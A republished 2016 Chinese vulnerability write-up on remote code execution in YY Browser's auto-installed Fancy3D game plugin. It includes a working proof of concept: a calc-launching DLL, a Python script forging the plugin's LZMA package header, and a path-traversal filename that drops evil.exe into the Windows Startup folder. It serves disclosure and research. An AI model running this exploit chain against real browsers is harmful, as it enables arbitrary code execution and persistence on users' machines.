本文屬于瀏覽器安全系列第四篇,目錄如下
原文鏈接:http://zhchbin.github.io/2016/10/15/YY-Browser-RCE/
作者:zhchbin
案例鏈接:http://www.wooyun.org/bugs/wooyun-2016-0221080
這是瀏覽器安全系列的最后一篇文章(就目前情況而言)了,靜待烏云歸來。
免責聲明
本博客提供的部分文章思路可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
前言
在研究YY瀏覽器的默認游戲助手插件時,在代碼里面找到一個游戲的名字:jzwl,于是在YY的游戲中心搜索了一下,找到了下面這個頁面:
http://udblogin.duowan.com/login.do?online&report_ver=new&showtools=0&webyygame&pro=webyygame&rso=FROM_SCTG&rso_desc=%E5%B8%82%E5%9C%BA%E6%8E%A8%E5%B9%BF&ref=gw/entergame&ref_desc=%E5%AE%98%E7%BD%91%2f%E8%BF%9B%E5%85%A5%E6%B8%B8%E6%88%8F&game=JZWL&server=s6
點開這個頁面的時候,我電腦上的騰訊安全管家彈出了下載文件的提示,仔細一看,我擦,自動下載了這么多文件下來!于是我覺得可以研究研究這個東西。

發現頁面中有這樣的一段代碼:
<div class="flash">
<object id="fancy3d" type="application/fancy-npruntime-fancy3d-plugin" width="100%" height="198">
<param name="game" value="jzwl">
<param name="nprver" value="0.0.2.17">
<param name="ocxver" value="0.0.2.17">
<param name="liburl" value="http://loader.52xiyou.zsgl.ate.cn/jzwl/loader/loaderUpdater.71f24efc47252dee7ca07eb571bd6f50.dll">
<param name="libmd5" value="71f24efc47252dee7ca07eb571bd6f50">
<param name="unsafelib" value="allow">
<param name="param1" value="cmdline=uid:1576442523|skey:6|platform:duowan|sign:7115344fa13ccca8950cfea0484437ce|type:web">
<param name="param2" value="client_root_url=http://res.jzwl.52xiyou.com/client/">
<param name="param3" value="ip_port=[121.46.21.176,121.46.21.176,121.46.21.176,121.46.21.176]|[8092]">
<param name="param5" value="loader_root_url=http://res.jzwl.52xiyou.com/loader/">
<param name="param6" value="loader_ver_name=loader.ver">
<param name="param7" value="loader_catalog_name=loader_catalog.txt">
<param name="param8" value="loader_name=loaderjz.dll">
</object>
</div>
我擦!這個好像在哪里見過的:http://wooyun.org/bugs/wooyun-2016-0172781 我們開始分析吧!
0x00 這個插件是哪里來的?
YY瀏覽器啟動的時候會檢查注冊表中是否已經安裝有Fancy3D游戲引擎這個NPAPI插件,具體路徑如下。如果不存在,則會自動靜悄悄地幫用戶安裝上。
HKEY_CURRENT_USER\Software\MozillaPlugins\@fancyguo.com/FancyGame,version=1.0.0.1


0x01 插件功能分析
libcurl和libcmd5這兩個參數在 http://wooyun.org/bugs/wooyun-2016-0172781 已經分析過,這里更簡單,連域名白名單限制都沒有做,直接修改成為自己的域名都會請求,一開始我以為是可以直接搞定的。但實驗過后發現,自己寫的dll按照規則放進去之后并沒有加載到進程中。進一步查看信息,發現360瀏覽器那個洞里出現的游戲提供方好像是同一家公司,看樣子是做了數字簽名,沒什么好方法,先放一邊。
里面還有幾個參數,看上去也是會下載文件,把<param name="param5" value="loader_root_url=http://a.com/loader/">改成自己本地的地址(注:我在Hosts文件里做了127.0.0.1 a.com映射)看看它都會請求下載哪些東西。測試過后,發現過程如下:
- 下載loader_root_url + loader_ver_name,即這個文件:http://res.jzwl.52xiyou.com/loader/loader.ver ,其內容為
2016-06-02 - 下載loader_root_url + 2016-06-02/loader_catalog.txt,即:http://res.jzwl.52xiyou.com/loader/2016-06-02/loader_catalog.txt , 其內容如下:
curl.exe.lzma||3b0c063789066f74667efc13db00e9cc||247772||f4edf7cab0d6a404b77eb816c996831c||506048
jztr.exe.lzma||c5dbe14ad37375371cb79261b848bcc8||69086||339068e9b3286cb30e100c398ea632f1||154816
flash.ocx.lzma||b2a9e2cdb422b3a71558ad9b6acc4ec8||1701337||8afc17155ed5ab60b7c52d7f553d579c||3866528
loading.swf.lzma||a77c04de83da48dcbb6b15c9028829a7||961202||5f52ea04bc871804c0c059a82053894c||950321
loaderjz.dll.lzma||4a51f304098ccebcecdf238ff3736d60||350535||2f22bb87e00681d858e3bd6013843231||804496
-
下載上面的文件,并執行加載游戲的一些操作。通過procexp.exe查看相應YY瀏覽器的NPAPI的進程,發現其動態加載的dll中,果然有
loaderjz.dll這個文件。目錄結構如下:
│───poc.html
│
└───loader
│ loader.ver
└───2016-06-02
curl.exe.lzma
flash.ocx.lzma
jztr.exe.lzma
loaderjz.dll.lzma
loader_catalog.txt
loading.swf.lzma
0x02 分析文件格式
$ binwalk curl.exe.lzma
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
42 0x2A LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 506048 bytes
觀察每個文件,發現它們都有一個不定長的頭部信息,然后是LZMA:24算法壓縮的數據包,Google之后猜測是使用這里的工具開發的:http://www.7-zip.org/sdk.html
接下來分析一下頭部信息都是些什么東西。注:這里用的是小端規則。

- 00 - 03 字節:29 00 00 00 = 0x29 = 41,正好是上面binwalk分析出來的頭部長度。
- 04 - 07 字節:B3 C7 03 00 = 0x03C7B3 = 247731,是loader_catalog.txt文件中 247772 - 41 得到的,而247772是curl.exe.lzma文件的大小。最終,通過
binwalk -e解壓開文件,發現就是加了頭部信息之前的文件的大小 + 1 - 08 - 11 字節:C0 B8 07 00 = 0x07B8C0 = 506048,應該就是解壓后文件的大小
- 12 - 13 字節:09 00 = 9,剛好就是字符串
curl.exe的長度,注意結尾的\0 - 14 - 15 字節:11 00,暫時沒猜到
- 16 - 31 字節:00000000000000000000000000000000
- 32 - 40 字節:6375726C2E65786500 =
curl.exe
0x03 劫持loaderjz.dll.lzma這個文件實現遠程命令執行
首先,自己實現一個dll文件,在其DllMain入口函數的時候中啟動一下計算器就好,代碼如下:
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc", 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
編譯成Release版本,改名,使用 http://www.7-zip.org/sdk.html 這里下載得到的lzma.exe壓縮一下文件
E:\lzma\bin>lzma.exe e loaderjz.dll loaderjz.dll.lzma -d24
LZMA 16.02 : Igor Pavlov : Public domain : 2016-05-21
Input size: 12288 (0 MiB)
Output size: 5748 (0 MiB)
接著使用腳本gen.py(見測試代碼)生成帶有頭部信息的文件:
$ python gen.py loaderjz.dll
output.lzma||3a94912118bc172065d643e1aa847b0d||5794||9bc1ee40c622a0d7a1f96a6c9119bbe6||12288
將生成的output.lzma覆蓋loaderjz.dll.lzma,并將loader_catalog.txt中的值修改成上述命令的輸出,使用YY瀏覽器訪問測試頁面。就可以執行任意程序了。

0x04 任意路徑寫入漏洞導致RCE
在測試的過程中,我還發現頭部信息中的文件名可以使用..跳轉到上一級目錄中,也就是說我們可以利用這個點來將一個可執行文件寫入到用戶的啟動目錄中。在生成頭部信息時,只需要使用文件名:..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.exe,YY瀏覽器在下載這個生成的lzma文件之后就會自動將這個文件寫入到啟動目錄中。

測試代碼
gen.py
import struct
import os
import sys
import hashlib
inputFileName = sys.argv[1]
#fileName = "..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.exe"
fileName = "loaderjz.dll"
fileNameLength = len(fileName) + 1
lzmaFile = inputFileName + ".lzma"
outputFile = "output.lzma"
def md5(fname):
hash_md5 = hashlib.md5()
with open(fname, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
with open(outputFile, "wb") as f:
f.write(struct.pack('I', 32 + fileNameLength))
f.write(struct.pack('I', os.path.getsize(lzmaFile) + 1))
f.write(struct.pack('I', os.path.getsize(inputFileName)))
f.write(struct.pack('H', fileNameLength))
f.write(struct.pack('H', 0x11))
f.write('\x00' * 16)
f.write(fileName)
f.write('\x00' * 2)
with open(lzmaFile, "rb") as lzmaF:
f.write(lzmaF.read())
print outputFile + "||" + md5(outputFile) + "||" + str(os.path.getsize(outputFile)) +\
"||" + md5(inputFileName) + "||" + str(os.path.getsize(inputFileName))
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/75/
暫無評論